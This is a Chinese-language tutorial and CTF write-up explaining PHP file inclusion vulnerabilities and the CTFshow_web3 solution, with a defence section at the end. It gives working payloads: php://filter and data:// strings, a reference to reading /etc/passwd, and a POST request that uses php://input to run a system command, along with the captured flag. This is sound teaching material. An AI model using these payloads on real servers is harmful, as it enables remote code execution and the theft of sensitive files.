文件包含漏洞+CTFshow_web3
字数 1509 2025-08-12 11:34:14
PHP文件包含漏洞与CTFshow_web3解题详解
一、文件包含基础概念
1.1 什么是文件包含
文件包含是指在一个PHP文件中引入并执行另一个PHP文件的内容,其核心目的是去除代码冗余,提高代码复用性。
1.2 PHP文件包含函数
PHP提供了四种主要的文件包含函数:
-
include
- 遇到该函数时立即包含指定文件
- 包含失败时会产生警告(E_WARNING),但脚本会继续执行
-
include_once
- 与include功能相同
- 额外检查文件是否已被包含过,避免重复包含
-
require
- 脚本执行前就会准备包含文件
- 包含失败时会产生致命错误(E_COMPILE_ERROR),脚本停止执行
-
require_once
- 与require功能相同
- 额外检查文件是否已被包含过,避免重复包含
1.3 函数区别对比
| 特性 | include | include_once | require | require_once |
|---|---|---|---|---|
| 执行时机 | 遇到时执行 | 遇到时执行 | 预先准备 | 预先准备 |
| 错误处理 | 警告 | 警告 | 致命错误 | 致命错误 |
| 重复检查 | 无 | 有 | 无 | 有 |
二、文件包含漏洞原理
2.1 漏洞产生原因
当开发者使用文件包含函数时,如果包含的文件路径由用户输入控制且未做严格过滤,攻击者可以包含恶意文件或系统敏感文件。
2.2 常见利用方式
- 包含本地敏感文件(如/etc/passwd)
- 包含远程恶意脚本(需allow_url_include开启)
- 配合PHP伪协议执行任意代码
三、PHP伪协议利用
3.1 php://input协议
php://input是一个只读流,可以访问请求的原始数据。
利用条件:
- allow_url_include=On
- 文件包含函数参数可控
利用方法:
- 通过POST提交PHP代码
- 文件包含函数包含
php://input - POST的PHP代码会被执行
3.2 其他常见伪协议
-
php://filter
- 用于读取文件源码:
php://filter/read=convert.base64-encode/resource=文件路径
- 用于读取文件源码:
-
data://
- 直接包含数据流:
data://text/plain,<?php phpinfo();?>
- 直接包含数据流:
-
zip://
- 包含zip压缩包中的文件
四、CTFshow_web3解题实战
4.1 题目分析
题目使用了include函数,且参数可控,存在文件包含漏洞。
4.2 解题步骤
-
识别漏洞点:发现使用include函数包含用户可控参数
-
构造利用:
- 使用php://input伪协议
- 通过POST提交PHP代码
-
具体操作:
POST /vulnerable.php?file=php://input HTTP/1.1 Host: example.com <?php system("cat ctf_go_go_go"); ?> -
获取flag:执行后返回flag内容
ctfshow{31ae681d-8794-4631-b932-09acba283a79}
4.3 关键点
- 必须使用POST请求
- PHP代码需要正确的开始和结束标记
- 系统命令根据题目环境调整
五、防御措施
- 避免动态包含:尽量不使用用户输入作为包含参数
- 白名单过滤:限制可包含的文件路径
- 关闭危险配置:
- allow_url_fopen=Off
- allow_url_include=Off
- 使用绝对路径:避免目录遍历攻击
- 检查文件后缀:确保只包含特定类型文件